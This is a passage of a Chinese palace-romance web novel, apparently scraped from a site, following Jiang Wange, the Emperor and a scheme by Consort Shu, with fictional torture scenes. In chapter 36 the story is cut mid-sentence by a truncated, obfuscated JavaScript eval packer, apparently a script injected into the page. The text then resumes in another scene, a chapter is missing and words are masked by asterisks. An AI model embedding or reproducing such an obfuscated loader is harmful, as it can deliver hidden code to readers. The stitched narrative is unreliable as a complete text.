姜绾歌福了福身,指尖轻轻绞着袖边流苏:“长公主明鉴。淑妃心思歹毒,这次栽了跟头,保不准要耍别的阴招呢。”她抬眼时眼底闪过精光,“咱们不如主动出手。她这么盯着金凤令,背后肯定有鬼,不如拿这当诱饵,引她上钩。” 长公主重重哼了一声,手指狠狠戳了戳名单上的名字:“就知道她没安好心!可怎么引?那女人精得跟个狐狸似的。” 姜绾歌凑近两步,压低声音道:“不如在王府放消息,就说金凤令藏在我院子的密室里,周围全是机关。再传些话,说我和王爷要用这令牌办大事——她听了肯定坐不住。” 长公主眼睛一亮,拍了下桌子:“好主意!就这么办!你尽管去折腾,缺人缺物尽管开口。” 回府后,姜绾歌立刻让丫鬟在院子里大声议论密室,连厨子买菜时都故意念叨“密室机关厉害”。没几天,她就发现墙角多了些脚印,树上还蹲着可疑的影子。 夜里,她假装睡着,实则盯着窗外。只见几个黑影翻过低矮的墙头,猫着腰在廊下打转,靴底蹭着青砖发出细碎的响声。 领头的刚摸到院门上的铜环,四周突然亮起灯笼——侍卫们举着刀冲出来,刀剑出鞘的声音在夜里格外清脆,三两下就把黑衣人按倒在地。 姜绾歌披着外衣走出来,烛火映得她眉间的花钿闪闪发亮:“哟,这不是淑妃娘娘的人吗?大半夜的,是来偷令牌,还是来送死?” 黑衣人被按在地上动弹不得,闷声骂道:“姜绾歌,你别得意!” 她蹲下身,指尖捏住对方蒙面的黑布一扯:“得意?我只是想问问,淑妃要这令牌到底想干什么?不说?”她冷笑一声,“那就让刑房的人慢慢问——我倒要看看,你们的嘴硬,还是烙铁硬。” 姜绾歌盯着黑衣人被拖走的背影,指甲狠狠掐进掌心。 怕?她会怕才怪!好戏才刚开场,后面指不定多腥风血雨呢!不过没关系,从在长公主府喝茶那会儿,她就把招儿都想好了。 那些家伙还以为自己在偷摸算计,殊不知,全是她故意下的套儿!等收拾了淑妃,定要让她知道,跟她作对,到底是个什么下场! 第31章 先发制人 夜色深沉,靖王府内一片静谧,唯有姜绾歌的院子里还亮着微弱的烛光。 她正对着烛火出神,手指有一下没一下地敲着桌案,思索着如何撬开那几个黑衣人的嘴。 突然,窗外传来咚的一声轻响,像是有人踩断了树枝。 姜绾歌眼皮都没抬:皇上若是想被人当成刺客抓起来,大可以再弄出点动静。 窗外传来一声低笑,顾明轩的声音带着几分戏谑:绾绾好耳力,朕这般小心都被你发现了。 谁是绾绾?姜绾歌冷哼一声,依旧没起身开窗,深更半夜翻墙入府,皇上这是要做采花贼? 窗棂被轻轻叩响,顾明轩的声音带着笑意:朕听闻你抓了几个淑妃的人,特意来看看。 哟,皇上日理万机,还有空关心这等小事?姜绾歌终于起身,却只是隔着窗说话,您那淑妃娘娘不是更需要您关心吗?听说她今日又在御花园"偶遇"皇上了? 窗外沉默了一瞬,随即传来顾明轩愉悦的低笑:绾绾这是...吃醋了? 吃醋?姜绾歌猛地推开窗户,月光下她一双杏眼瞪得圆圆的,我是怕皇上被那蛇蝎美人算计了还不自知! 顾明轩单手撑在窗台上,俊美的面容在月光下格外清晰。他眼中带着促狭的笑意,伸手想碰她的脸:朕的绾绾担心朕? 姜绾歌一把拍开他的手:少自作多情!我是怕您被毒死了,这江山社稷没人管! 嘴硬。顾明轩轻笑一声,突然翻窗而入,稳稳落在她面前,朕今日去御花园是故意引她上钩,你不是早就知道? 姜绾歌别过脸不看他:谁知道皇上是不是假戏真做... 话未说完,下巴突然被修长的手指抬起。顾明轩俯身逼近,温热的呼吸拂过她的脸颊:绾绾这般在意朕与其他女子接触,朕很欢喜。 谁在意了!姜绾歌一把推开他,耳尖却悄悄红了,我只是怕打乱计划! 顾明轩眼中笑意更深,忽然从袖中取出一个锦盒:给你带的桂花酥,御膳房新做的。 姜绾歌瞥了一眼,故意道:该不会淑妃碰过的吧?我可不敢吃。 小醋包。顾明轩无奈摇头,直接打开盒子取出一块递到她嘴边,朕亲手装的,除了朕,没人碰过。 姜绾歌这才勉强咬了一小口,嘟囔道:谁知道是不是骗人... 顾明轩忽然凑近,在她脸边轻啄一下:甜吗? 姜绾歌顿时炸毛:顾明轩!你...你... 朕尝着很甜。顾明轩笑得像只偷腥的猫,见她真要恼了,这才正色道,好了,不逗你了。那几个黑衣人审得如何? 提起正事,姜绾歌脸色也严肃起来:嘴硬得很,什么都不肯说。 需要朕帮忙吗?顾明轩把玩着她的一缕发丝,朕的暗卫有些特殊手段。 姜绾歌拍开他的手:皇上这是怀疑我的能力? 朕哪敢。顾明轩举手作投降状,只是担心你累着。 少来这套。姜绾歌白他一眼,我自有办法让他们开口。倒是皇上...她忽然眯起眼睛,您今晚来,该不会就为了送这盒点心吧? 顾明轩笑容微敛,低声道:朕收到密报,淑妃可能已经察觉到我们在查她。 姜绾歌神色一凛:所以皇上是来... 来看看你这里是否安全。顾明轩目光沉静,朕加派了人手在靖王府周围,但你近日还是要小心。 姜绾歌心头一暖,嘴上却道:我又不是纸糊的,用得着皇上这般大张旗鼓? 绾绾。顾明轩突然握住她的手,语气是从未有过的认真,你若有事,朕会疯的。 姜绾歌心跳漏了一拍,强装镇定地抽回手:少说这些肉麻话...绾绾还要去审人呢。 顾明轩轻笑:朕陪你去。 不行!姜绾歌立刻反对,刑房那种地方... 朕什么场面没见过?顾明轩挑眉,还是说...爱妃担心朕看了那些血腥场面,会觉得你心狠手辣? 姜绾歌气得跺脚:谁管你怎么想!要去就去,别在这碍手碍脚! 阴暗潮湿的刑房里,几个黑衣人被铁链锁在墙上,身上血迹斑斑。 姜绾歌一改方才的娇嗔,冷着脸走到为首的黑衣人面前:再给你最后一次机会,说还是不说? 黑衣人抬头,看到顾明轩时瞳孔一缩,却仍咬牙道:要杀要剐随你们! 有骨气。姜绾歌冷笑,从袖中取出一个小瓷瓶,知道这是什么吗?"蚀骨散",不会要你的命,但会让你浑身骨头像被蚂蚁啃噬一样... 她拔开瓶塞,黑衣人顿时脸色惨白。 顾明轩在一旁饶有兴趣地看着,突然开口:王妃这手段,朕看着都害怕。 姜绾歌头也不回:皇上若是怕了,现在出去还来得及。 朕只是觉得...顾明轩缓步上前,接过她手中的瓷瓶,对付这种人,用毒太便宜他了。 他眼神陡然转冷:知道凌迟吗?朕可以让人一刀一刀... 我说!我说!黑衣人终于崩溃,淑妃娘娘她...她想用金凤令控制京城命妇,在赏花宴上下药... 姜绾歌与顾明轩对视一眼,继续逼问细节。 待审完所有人,已是三更天。 姜绾歌揉了揉酸痛的脖颈:总算撬开他们的嘴了。 顾明轩突然从身后环住她,下巴抵在她肩上:累了吧?朕送你回房。 少来!姜绾歌挣开他的怀抱,审人的是我,皇上就在旁边看着,累什么累? 顾明轩低笑:朕心疼不行吗? 谁要你心疼!姜绾歌转身就走,皇上还是赶紧回宫吧,免得被人发现... 话未说完,突然被拉入一个温暖的怀抱。顾明轩低沉的声音在耳边响起:绾绾,等这事了结,朕给你一个交代。 姜绾歌心头微颤,却嘴硬道:我才不稀罕... 朕稀罕。顾明轩轻轻吻了吻她的发顶,朕的绾歌,值得最好的。 姜绾歌耳尖通红,一把推开他:少在这花言巧语!我要回去睡了! 看着她落荒而逃的背影,顾明轩眼中满是宠溺的笑意。 第32章 黑衣人招供 姜绾歌来到靖王府后院,她的绣鞋重重碾过黑衣人肩头,鞋尖金丝牡丹沾了泥。 黑衣人闷哼着要翻身,反被侍卫的刀鞘压住后颈,半张脸陷进青石板缝里。 骨头挺硬?姜绾歌揪着黑衣人发髻往后扯,月光正照在那张布满冷汗的脸,淑妃宫里养的都是哑巴? 指甲突然掐进他耳后穴位,黑衣人顿时发出杀猪般的惨叫。 青柠趁机踹他膝窝:主子问你话呢!这一脚用了十成力,黑衣人蜷成虾米,袖中突然滑出块金镶玉的腰牌。 姜绾歌眼疾手快按住他手腕,指腹摸到虎口厚茧:哟,还是用刀的好手。 黑衣人突然暴起,被踩住的手腕竟发出骨骼错位的脆响。 姜绾歌早有防备,簪尾银针直刺他曲池穴。 黑衣人整条手臂瞬间瘫软,眼睁睁看着腰牌被红珊瑚护甲勾起。 长公主府的通行令?姜绾歌把腰牌甩得叮当响,突然揪住黑衣人耳朵。 带着正品来偷东西?鲜血顺着她指缝滴在腰牌上,淑妃是蠢还是狂? 黑衣人突然啐出口血沫:要杀要剐...话没说完就被青柠用帕子堵了嘴。 姜绾歌冷笑着踩住他完好的左手:不急,长公主府的烙铁可比本王妃的簪子有趣多了。 姜绾歌押着黑衣人到长公主府,长公主立马把人关到地牢里,鞭子抽在皮肉上的啪啪声混着惨叫。 长公主的鎏金护甲刮过刑架铁链,发出令人牙酸的声响。 她抓起烧红的烙铁,火光映着令牌形状的烙印:淑妃想要金凤令? 黑衣人被倒吊着,血滴在金砖上晕开:娘娘说...说那令牌本该是她的... 放屁!烙铁猛地按在他大腿内侧,焦烟混着惨叫腾起,本宫的东西,爱给谁就给谁! 黑衣人盯着烙铁上长乐二字宫印,喉咙里发出嗬嗬的喘气声:殿下...殿下饶命... 现在知道怕了?烙铁猛地贴近他眼皮,热浪燎焦了睫毛,“晚了!” 长公主甩手再一次将烙铁按在他肩头,焦糊味瞬间弥漫。 黑衣人惨叫声中,她扯过供状拍在刑桌上:画押! 血手印按上宣纸的刹那,墙角的更漏刚好滴尽子时。 当天夜里,长公主的马车直奔皇宫。车轱辘碾过青石板路的声音格外急促。 御书房内,皇帝把茶盏摔得粉碎:淑妃!你还有什么话说? 跪在地上的淑妃抖得像筛子,金簪子都歪了:臣妾冤枉啊... 皇帝猛地将供状甩在淑妃脸上,纸张边缘刮得她脸颊生疼。 还敢喊冤?皇帝抓起案上的镇纸狠狠砸在青砖上,瓷片迸溅到淑妃裙裾, 你宫里的侍卫带着长公主府腰牌,偷的又是金凤令。” 淑妃浑身止不住地颤抖,泪水在眼眶中打转,却强装镇定:“皇上,这其中必定有误会,长公主与靖王妃蓄意勾结,陷害臣妾。臣妾对皇上的忠心,天地可表啊!” 皇帝冷哼一声,声如洪钟:“人证物证俱在,你还有何话可说?” 淑妃急切道:“皇上,这些所谓证据,皆有可能是伪造的。臣妾在宫中侍奉皇上多年,一直兢兢业业,怎会做出此等大逆不道之事。皇上,还望您明察啊!” 皇帝紧盯着淑妃,眼神中闪过一丝犹疑。 这时,长公主从偏殿走出,神色冷峻,目光如利刃般刺向淑妃:“淑妃,事到如今,你还不认罪?你派去靖王府的黑衣人已然招供,你还想抵赖?” 淑妃见是长公主,眼中闪过一抹怨毒:“长公主,你与靖王妃狼狈为奸,伪造证据构陷本宫,就不怕天理难容?” 长公主冷笑:“我与靖王妃行事坦坦荡荡,倒是你,心怀不轨,觊觎金凤令,妄图搅乱后宫与朝堂。你的所作所为,才是天理难容!” 皇帝被二人吵得头疼,猛地抬手,怒喝道:“都住口!” 他揉了揉太阳穴,缓缓说道:“淑妃,即日起,你于椒房殿禁足五日,五日后,若朕查明你确有冤屈,自会还你清白;若你真参与其中,休怪朕无情!” 淑妃心中暗喜,赶忙磕头谢恩:“谢皇上恩典,臣妾定在殿中静心反省,等候皇上查明真相。”言罢,在宫女搀扶下,起身退下。 待淑妃离去,皇帝疲惫地靠在龙椅上,揉着眉心。长公主走上前,忧虑道:“皇兄,淑妃心思诡谲,您就这么轻易放过她?” 皇帝目光深邃,神色凝重:“皇妹,淑妃在宫中经营多年,党羽众多。贸然定罪,恐生变故。先将她禁足,朕好暗中彻查。如此既能安抚众人,又能确保万无一失。” 长公主微微点头:“皇兄所言有理。只是淑妃为何对金凤令如此执着,背后所藏阴谋,必须尽早查清。” 皇帝沉思片刻,沉声道:“朕也正为此事忧虑。淑妃此举,定与朝中势力有所勾连。” 长公主接口道:“那黑衣人提及一位姓王的大人,或许可从此人入手,顺藤摸瓜,揪出与淑妃勾结之人。” “皇兄,淑妃狡诈多端,咱们务必小心行事,莫要让她察觉到异常,毁了证据。” 皇帝微微颔首:“朕心中有数。” 次日清晨靖王府,姜绾歌正在修剪花枝,绿竹小跑着过来:主子,宫里传来消息,淑妃被罚禁足五日! 五日?剪刀咔嚓剪断一根枯枝,怕是皇上还要给她爹留面子。 她吹掉指尖的花粉,瞥见顾清舟远远走来。 顾清舟冷着脸踏入后院,目光直刺姜绾歌:“靖王妃,盈盈病了。” 姜绾歌头也不抬,继续修剪花枝:“哟,这戏码演得倒是及时。” “她昨夜腹痛呕血。”顾清舟攥紧拳头,“太医说是中毒。” 剪刀“咔嚓”一声剪断枯枝,姜绾歌这才抬眼:“可不就是苦肉计么?” 她猛地将剪刀拍在石桌上,震得花瓣簌簌落下,“不就是我查出柳盈盈打着王府旗号,私吞醉仙楼三成红利的事?她怕东窗事发,就往自己嘴里灌毒,转头把脏水泼我身上——顾清舟,你当王府上下都是傻子?” 第33章 找牙婆子介绍公子 顾清舟额角青筋暴起:“休得血口喷人!盈盈跟我解释了,她是有不得已的苦衷......” “呵!她有不得已的苦衷就要勾结掌柜改账?王爷的耳根子真软啊,柳盈盈三言两语就把你的脑子洗得干干净净。” 姜绾歌抄起案上的账本狠狠甩过去,纸张在他脚边散开,“醉仙楼流水明细、分红记录都在这儿,墨迹未干!你倒好,放着后院蛀虫不管,跑来质问正妻?这王爷当得可真体面!” “放肆!”顾清舟猛地踹翻石凳,“本王的家事轮不到你插手!” “家事?”姜绾歌逼近一步,眼底满是嘲讽,“醉仙楼每月进账千两白银,都进了你好姨娘的私库!她敢自残栽赃,怎么不敢承认用王府名头强占铺面?你若真有本事,就该查查她屋里暗格藏的地契,而不是在这儿当糊涂蛋!” 顾清舟突然抽出佩剑抵住她咽喉:“信不信本王杀了你!” “杀啊!”姜绾歌冷笑,任由剑锋划破脖颈,“杀了我,全京城都知道靖王爷为了个贪财毒妇,杀了结发妻子。到时候御史台的弹劾、百姓的唾沫,够不够把你这王府淹了?” 顾清舟的手因暴怒而微微发颤,剑尖在姜绾歌颈间划出细细血痕,却见她连眼皮都未眨一下。 他咬牙切齿道:“你以为凭几张破账本,就能离间本王与盈盈?她陪我度过多少艰难岁月,岂是你这刚进门的王妃可比!” “艰难岁月?”姜绾歌突然仰头大笑,笑声惊飞了檐下栖息的麻雀,“她陪你吃糠咽菜时,可曾告诉你,醉仙楼的掌柜每隔三日就往她院子送银箱?你以为她整日在佛堂诵经,是为你祈福?分明是在算着又吞了多少昧心钱!” 说着,她猛地抓住剑刃,鲜血顺着掌心流下,“顾清舟,你若还是个男人,就去醉仙楼查个清楚!别在这儿当被女人牵着鼻子走的窝囊废!” “住口!”顾清舟猛地将剑甩开,剑刃深深没入身后的槐树。 他胸口剧烈起伏,盯着姜绾歌染血的手,眼底闪过一丝慌乱,“本王自会查个水落石出。但你以下犯上、目无尊长,本王定要你......” “定要我如何?”姜绾歌突然逼近,染血的指尖几乎戳到他鼻尖,“关我禁足?罚我跪祠堂?有本事你就试试!我倒要看看,等醉仙楼的事传出去,御史台的折子和百姓的骂声,先把谁淹没!” 话音未落,远处突然传来急促的脚步声。一名侍卫满头大汗跑来,在院门口猛地刹住:“王爷!醉仙楼......醉仙楼的掌柜卷款逃了,账房先生说,这半年的账本都被人调换过!” 顾清舟脸色瞬间煞白,踉跄着扶住身后的槐树。 姜绾歌见状,慢条斯理地掏出手帕擦拭掌心血迹,冷笑出声:“瞧瞧,我说什么来着?有些人啊,怕是连夜把尾巴藏起来了。王爷不是要查吗?怎么,这会子腿软了?” 顾清舟气得转身就走,靴子把地上的花瓣都踩烂了。 姜绾歌站在原地冷笑,看着他的背影直翻白眼。 青柠急得不行,举着药箱跑过来:“小姐!手都流血了,快让我看看!” “这点伤算啥。”姜绾歌随便扯了块布条缠住手,眼睛还盯着顾清舟消失的地方,“他就护着那个柳盈盈吧,等醉仙楼的事闹大,有他后悔的!” 她往地上啐了一口,“成天被人当枪使还傻乐,真以为自己多威风?” 青柠小声劝:“小姐消消气,犯不着为这种人生气。” “我能不气吗?”姜绾歌叉着腰,“拿着我的嫁妆钱养外室,还跑来跟我撒泼!” 她突然扯着嗓子朝院外喊:“顾清舟!你等着!等我找到太上皇,把和离书写好,第一个休了你这个窝囊废!” 喊声又尖又亮,惊得院墙上的野猫“嗷”地一声窜走了。 隔壁院子的丫鬟正偷偷往这边瞧,被姜绾歌瞪了一眼,吓得抱着衣服就跑。 她哼了一声,扭头对青柠说:“去,盯着柳盈盈的院子。她要是敢装死,直接往她嘴里灌泻药——装,就让她装个够!” 青柠被逗得直乐:“小姐就会吓唬人。” “我吓唬他?”姜绾歌抄起桌上的账本狠狠拍了一下,“等我把这些证据往公堂上一摆,看他还有什么脸当王爷!” 她摸了摸发间的银簪,冷笑说:“大不了回娘家,凭我的本事,还怕找不到好男人?” 夕阳把院子照得通红,姜绾歌搬了把椅子坐在廊下,翘着腿哼起小曲。 青柠给她端来凉茶,忍不住问:“小姐真要和离啊?” “当然!”姜绾歌喝了口茶,“守着这么个糊涂蛋有啥用?” 她把茶碗重重一放,“明天就去找牙婆打听,京城哪家公子最出息!” 第二天一早,姜绾歌真的叫来牙婆。五十多岁的王婆子扭着腰进了王府,怀里抱着厚厚的婚帖册子:“哎哟,王妃您可算想开了!要说这京城的好儿郎,我这儿可有不少呢!” 两人正说着,突然听到院子里一阵喧哗。柳盈盈不知从哪儿冒出来,披头散发地扑到姜绾歌面前,哭喊道:“姐姐为何要如此害我!我不过是吃了你赏的蜜饯就大病一场,你还要赶尽杀绝吗?” 姜绾歌端着茶碗慢悠悠地吹开浮沫:“演戏演全套啊?昨儿吐血,今儿就有力气满地跑了?”她突然把茶碗往桌上一砸,“来人!把这疯女人拖出去!” “王爷救命啊!”柳盈盈扯开嗓子嚎,指甲恨不得抠进姜绾歌肉里,“她在外面找野男人,还要把醉仙楼的烂事捅到朝堂上!这是要让您当全京城的笑话啊!” 这话刚落,顾清舟黑着脸大步走来。他盯着牙婆手里的婚帖,声音冷得像冰:“姜绾歌,你当真要和离?” “怎么?”姜绾歌挑眉,“王爷这么闲,昨天醉仙楼的掌柜逃了你那么快就抓住了?” 顾清舟脸色阴沉得能滴出水来,袖中拳头攥得咯咯作响:“掌柜的下落还没查到!但本王听说你找牙婆相看男人,当真是迫不及待要给王府蒙羞!” 第34章 设赏花宴 顾清舟猛地踹开脚边的石凳,“别以为有几本破账本就能拿捏本王,柳盈盈是陪我从寒微时走来的人,容不得你泼脏水!” 柳盈盈躲在他身后,眼神躲闪却仍尖着嗓子喊:“姐姐为了一己私欲,非要把醉仙楼的事闹大,王爷再不管,咱们整个王府都要被牵连啊!” “牵连?”姜绾歌突然笑出声,笑得眼泪都出来了,“王府早就被柳盈盈牵连进去了!” 她转身从柜子里翻出一摞账本,重重摔在桌上,“自己看吧!醉仙楼这半年的进项,全进了她的腰包!” 柳盈盈脸色大变,拼命挣扎:“王爷,这都是她伪造的!” 顾清舟死死盯着账本,指节捏得发白,喉结滚动半天才挤出话:“盈盈,你先回院子。” 柳盈盈僵在原地,眼眶瞬间泛起泪花:“王爷......” “本王让你走!”他猛地甩袖,惊得廊下鸟雀扑棱棱乱飞。 柳盈盈咬着下唇踉跄后退,临走前恶狠狠地剜了姜绾歌一眼,绣鞋重重碾过满地花瓣。 等她身影消失在门口,顾清舟才冲着手下冷声道:“把这些账本搬回书房。若是真的,我自会处置;若是假的......” 他转头看向姜绾歌,目光似淬了毒的箭,“姜绾歌,你该知道后果。” 姜绾歌才不管顾清舟说的话,她转身对牙婆说:“王妈妈,继续说你的好儿郎。我倒要看看,是京城哪家公子,能比这糊涂王爷强!” 王妈妈看着姜绾歌,又看着王爷,她手抖得厉害,一时不知该怎么继续说。 王妈妈正要组织语言开口时,姜绾歌就指着名单上的名字讲。 “这不是那个镇北将军家的次子嘛!我听说他十七岁就跟着出兵边塞,可比我们王爷厉害多了——起码人家分得清谁是真心护他,谁是挖他墙角的蛀虫!” 她忽然转头盯着顾清舟青白的脸,“对了,还有新科状元郎,听说写得一手好字,不像有些人,连账本上的数目都算不明白呢。” 王婆子忙点头:“那是!李公子去年随陛下祭天,那身姿气度......” “够了!”顾清舟猛地抽出腰间玉佩砸在地上,翡翠碎成三瓣,“姜绾歌!你敢拿本王与那些市井小儿相比?” “怎么不敢?”姜绾歌甩着婚帖站起身,**护甲划过顾清舟僵直的肩膀,“人家勋爵公子至少知道护着正妻,不像您哪——” 她突然压低声音,温热的气息拂过他紧绷的耳垂,“放着明媒正娶的王妃不管,偏去护个偷银子、装**的戏子,说您是睁眼瞎都是夸您呢。” 顾清舟脸色青白交加,握剑的手微微发颤,看着姜绾歌眼中毫不掩饰的嘲讽,胸中怒意翻涌。 “好,好得很!”他咬牙切齿道,“姜绾歌,你别后悔!” 说罢,猛地转身,大步离去,袍摆扫落桌上茶盏,瓷器碎裂声在院中回荡。 姜绾歌望着顾清舟离去的背影,不屑地嗤笑一声。 随后她转头看向还在发愣的王婆子,从袖中掏出一锭银子塞到她手里。 “王妈妈,戏唱的不错,这点银子您先拿着。” 御书房内,龙涎香在鎏金香炉中静静燃烧。顾明轩修长的手指在奏折上轻轻敲击,节奏如同他此刻纷乱的心绪。案几上堆积如山的奏折,十之**都在劝他选秀纳妃。 陛下,兵部李大人又递了折子。太监总管赵德顺躬身呈上一本烫金奏折,说是西北军情紧急,需要陛下早日定下中宫人选,以安社稷。 顾明轩冷笑一声,朱笔在奏折上划过一道凌厉的红痕。他如何不知,这所谓的安社稷背后,是淑妃之父李丞相**在推波助澜。自从淑妃被禁足,李家便越发不安分。 兵力图...他低声呢喃,目光转向窗外。 这几次与姜绾歌相处下来,她对他的态度似乎若即若离,时而亲近时而疏远,让他捉摸不透。 靖王府今日有何动静?顾明轩突然停步,案几 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图纸上密密麻麻标注着西北各要塞**,正是顾明轩心心念念的西北兵力图。 小姐,宫里来旨意了。青柠匆匆进来,手里捧着明黄卷轴,三日后御花园设赏花宴,命您务必出席。 姜绾歌眉梢一挑,慢条斯理地将图纸收入系统空间:哦?皇上这是唱的哪出? 听说朝中大臣连日上书,逼皇下选秀。青柠压低声音,淑妃虽然禁足,但她父亲李丞相可没闲着。小姐,这宴会怕是鸿门宴啊。 姜绾歌轻笑一声,起身走向妆台:鸿门宴?那也得看是谁设的局。 铜镜中映出她的婀娜多姿的身材,去备一套烟霞色罗裙,要最显腰身的那件。 青柠担忧道:小姐真要赴宴?淑妃的人定会借机生事。 怕什么?姜绾歌拿起玉梳,慢悠悠地梳理长发,见招拆招便是。皇下既然想看戏,本王妃就陪他演一场。 第36章 故意晾着那男人 李小姐吓着了吧?顾明轩开口,声音不自觉地沉了几分,袖子扫过桌子,把焦尾琴拿来。 他特意往姜绾歌那边瞥了一眼,却见她正专心致志地挑着葡萄吃,连头都没抬。 顾明轩捏着酒杯的手指微微收紧。 这焦尾琴可是先帝留下的宝贝,多少贵女求都求不来,她居然在吃葡萄。 那颗葡萄就这么好吃?比看他赐琴还有意思? 她跟平阳侯夫人说话时眼角眉梢都是笑,怎么一到他这儿就爱答不理的? 靖王妃。他忍不住点名,声音里带着自己都没察觉的酸味,你觉得李小姐配得上这焦尾琴么? 姜绾歌这才慢悠悠地抬眼,嘴角还沾着一点葡萄汁:陛下圣明,自有决断。 说完又低头去剥葡萄皮,纤长的手指灵巧地转着那颗紫莹莹的果子。 顾明轩盯着她沾着葡萄汁的唇瓣,突然很想把人拽到后殿问个清楚。 那双手剥葡萄剥得这么利索,怎么上次吃宵夜时,连块酥糕都要他帮着擦手? 焦尾琴被捧上来时泛着温润的光,琴尾焦痕在阳光下像道陈旧的伤。 李婉茹指尖发颤,却在触到琴弦时忽然抬眸,眼尾扫过姜绾歌的方向。 系统在姜绾歌脑海里“叮”地蹦出警告:【检测到目标虹膜收缩频率异常,建议启动防御机制】。 她捏着葡萄的指尖微顿,果肉里的汁水渗出来,黏在指甲缝里。 “谢陛下赐琴。”李婉茹声音发颤,却稳稳按响第一个音。 顾明轩的手指在案上敲出不规则的节奏。 他盯着姜绾歌垂落的睫毛,看她把剥好的葡萄一颗颗码在青瓷碟里,像在摆弄什么稀世珍宝。 “咔——”琴弦又断了一根。 李婉茹惊呼着缩回手,指尖沁出一滴血珠。 顾明轩下意识起身,却见姜绾歌忽然放下帕子,从袖中取出一方金丝蜜蜡:“琴弦崩断最易伤手,李小姐若不嫌弃,可试试用这个护指。” 她的动作太自然,自然到顾明轩没来得及反应,就见她已跪在李婉茹身边,轻轻握住那只流血的手。 系统在姜绾歌脑中疯狂刷屏:【警告!检测到目标手掌温度异常升高,肾上腺素浓度超临界值】——是李婉茹。 蜜蜡覆上指尖的瞬间,姜绾歌指尖触到一片薄茧。 弹琴的人指尖该是软的,可这茧子分明是握惯了兵器的形状。 她垂眸掩去眼底冷意,抬头时却笑得温柔:“李小姐的手,倒像是常练剑的。” 李婉茹猛地缩回手,袖口滑下寸许,露出半截青色刺青。 姜绾歌目光如炬,紧紧锁住李婉茹袖口露出的青色刺青,笑意却依旧挂在唇角:“李小姐这刺青倒是别致,不知有何寓意?” 李婉茹脸色瞬间煞白,慌忙扯下袖口遮挡,强装镇定道:“不过是儿时贪玩留下的,王妃莫要打趣了。”可她微微颤抖的声音,却暴露了内心的慌乱。 顾明轩此时也察觉到异样,目光锐利地看向李婉茹:“李小姐,在朕的宴会上,竟藏着这般多的秘密?” 李婉茹“扑通”一声跪地,声音带着哭腔:“陛下饶命!这刺青确是儿时无意所得,并无其他深意。至于这双手,因家中变故,曾**过几日剑术防身罢了。” 姜绾歌却不打算轻易放过她,缓缓起身,围着李婉茹踱步:“李小姐,琴弦崩断本是寻常事,可你手掌温度升高、肾上腺素浓度超临界值,这般异常的反应,可不是一句‘儿时贪玩’就能解释的。” 李婉茹咬着下唇,眼中闪过一丝决绝。就在众人都未反应过来时,她突然从袖中抽出一把**,朝着姜绾歌刺去:“都是你多管闲事!” 姜绾歌早有防备,侧身一闪,躲开了这致命一击。顾明轩脸色骤变,怒喝道:“来人,拿下!” 侍卫们如潮水般涌上来,将李婉茹死死制住。李婉茹手中的**“当啷”落地,她瘫倒在地,眼神空洞。 姜绾歌看着她,冷冷道:“说吧,你到底是谁?背后主使又是谁?今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜绾歌眼睛一亮,却强忍着不去看那碟葡萄:陛下好生小气,拿吃的要挟人。 第37章 贴身衣物 顾明轩摘下一颗葡萄在指尖把玩:听说这葡萄籽少,甜度高,某人最爱......话未说完,姜绾歌已经一个箭步上前,直接从他指尖叼走了那颗葡萄。 嗯,确实甜。她满足地眯起眼,唇边还沾着一点葡萄汁。 顾明轩喉结微动,声音突然低了几分:我还以为某人看不上。” 陛下还要继续批奏折吧?姜绾歌后退两步,装作没注意到他瞬间暗沉的眼神,那臣妇就不打扰了。说着就要告退。 站住。顾明轩忽然从身后环住她,下巴轻轻搁在她发顶,你今日的发髻... 姜绾歌浑身一僵:怎、怎么了? 歪了。他轻笑一声,手指灵巧地拆开她的发簪,如瀑青丝瞬间倾泻而下。 顾明轩!她又惊又恼,这可是我梳了半个时辰的! 现在更好看。他拾起一缕发丝缠绕在指间,就像那晚一样。 姜绾歌耳根发热,正要反驳,忽听门外传来太监的通传:陛下,丞相大人求见。 顾明轩不情不愿地松开手,低声道:今晚戌时,老地方见。 臣妇没空。她快速绾起头发,却在转身时悄悄眨了眨眼,除非...陛下备好桂花糕。 顾明轩看着她翩然离去的背影,摇头失笑:这丫头...” 戌时的栖凤阁静悄悄的,只有檐角铜铃偶尔被夜风吹得叮当作响。 姜绾歌坐在梳妆台前,慢悠悠地拆着发髻上的珠钗,眼睛却时不时往窗外瞟。 咔嚓—— 院墙外传来树枝断裂的声音。 她唇角微微上扬,故意大声道:今晚的风可真大,连野猫都闹腾起来了。 窗外立刻传来一声带着笑意的回应:朕若是猫,那你就是等猫的小鱼。 姜绾歌推开雕花木窗,正好看见顾明轩从墙头跳下来的狼狈模样。 他今天穿了件墨蓝色的常服,发冠上还挂着片树叶。 陛下这是改行当梁上君子了?她趴在窗台上笑问。 顾明轩拍了拍衣袖上的尘土:你家的墙头该修了,砖瓦都松动了。 活该。姜绾歌嘴上不饶人,却还是伸手接过了他递来的描金食盒。掀开盖子一看,整整齐齐码着十二块杏仁酥,香气扑鼻。 她啪地合上盖子,挑眉道:故意的? 顾明轩眉眼飞扬,唇角高高扬起,整个人都透着股藏不住的得意劲儿:朕记得绾绾最讨厌杏仁? 那你还不—— 我的人刚传来消息,顾明轩突然敛了笑意,靖王那边又有动静了。 姜绾歌的手指一顿,随即若无其事地拨弄着食盒锁扣:王爷又有什么动作?莫不是又往醉仙楼塞了什么红粉知己? 顾明轩神色凝重,目光紧紧锁住姜绾歌:“他与朝中几位手握重兵的大臣往来频繁,形迹可疑。” “如今看来,靖王野心昭然,恐怕会对朝堂安稳造成威胁。你上次说去偷靖王的**图,现在进展如何了?” 姜绾歌轻蹙眉头,思索片刻才道:才摸到点门路。他把那图藏得可严实了,就锁在王府最隐秘的暗室里,外头层层把守不说,里头还设了不少机关。我费了好大功夫才探出点眉目,眼下只弄到一小部分,要想把整张图都弄到手,怕是还得费些周折。 顾明轩眸色一暗,正要说话,院门外突然传来脚步声。 姜绾歌眼疾手快地把顾明轩往衣柜里推。皇帝陛下还没反应过来,就被塞进了装满衣裙的柜子里。 青柠提着灯笼轻手轻脚地走进内室,暖黄的烛光在锦帐上投下摇曳的光影。 小姐怎么还不歇息?她将灯笼挂在鎏金钩上,忽然瞥见桌上的杏仁酥,疑惑地眨眨眼,咦?奴婢记得没让厨房准备点心啊,这杏仁酥是... 话音未落,她的目光突然定在衣柜缝隙处——那里露出一角玄色锦缎,在烛光下泛着暗纹龙鳞的微光。青柠心头一跳,立刻低下头去。 